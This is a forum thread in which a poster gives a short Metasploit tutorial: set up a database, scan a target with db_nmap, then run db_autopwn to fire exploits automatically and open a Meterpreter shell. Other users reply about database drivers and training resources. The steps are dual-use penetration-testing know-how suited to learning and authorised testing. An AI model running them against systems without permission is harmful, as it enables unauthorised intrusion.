Metasploit autopwn basics

[Sp3ctr3]

MSF from the moment of its release is THE most powerful offensive tool in a pentesters arsenal. In this tutorial i plan to show how to use autopwn feature of MSF from scanning to getting a meterpreter shell.

Lets boot up trusty ol BT4 R1. Bring up your favourite terminal emulator.

cd /pentest/exploits/framework3

We'll use msf console because its much less cluttered than GUI.

./msfconsole

wait a few minutes for MSF to load all modules and exploits.
Now that we have the msfconsole up and running we need to select a database driver to store info about our target..i prefer sqlite3 cause it doesnt need any further setup for me

db_driver sqlite3

now we need to create a new database to store the info

db_create autopwn

feel free to replace autopwn with any name

db_connect

we are connected to the database.
Run a simple nmap scan to enumerate the host

db_nmap target

to see host information

db_hosts

AND finally for the actual autopwn jst run

db_autopwn -p -t -e

and there you have it...if an exploit worked you'll have a session...
if you dont well better luck next time

[Archangel-Amael]

Op please see your PM box with a note from me. Thanks.

[iproute]

It should be noted that the usage of sqlite3 is not supported by metasploit, and there are other forum threads regarding this --read postgres

[sickness]

A little help regarding what @iproute said: http://www.backtrack-linux.org/forum...ostgresql.html

[J4rll3y]

Tanks for sharing

Very good
[s]

[Sp3ctr3]

Sorry about using sqlite3.didnt kno it was supported.. in my box it runs without a hitch tho..but other drivers dont run outof the box..this was before i saw sickness' post on postgreSQL of course...

[iproute]

there are some reasons one might want to use sqlite instead of postgres or mysql for metasploit, but with the latter two, running db_autopwn will likely be more effective. I've run the same autopwn against the same vulnerable VM and witnessed this myself.

Also if you need to do reporting, sqlite may not be as well suited.

A great resource for metasploit other than the most excellent metasploit framework unleashed course can be found by performing a google search for 'metasploit megaprimer'.

[sickness]

Actually the Metasploit Megaprimer can be found in the Video section here

[iproute]

Actually the Metasploit Megaprimer can be found in the Video section here

Fantastic series. Vivek was very complete and detailed with those.

Also, when did you become a moderator sickness? Congrats!

[sickness]

Fantastic series. Vivek was very complete and detailed with those.

Indeed, the Metasploit Megaprimer combined with the Metasploit Unleashed offers you the best free course for Metasploit.

Also, when did you become a moderator sickness? Congrats!

Recently and thanks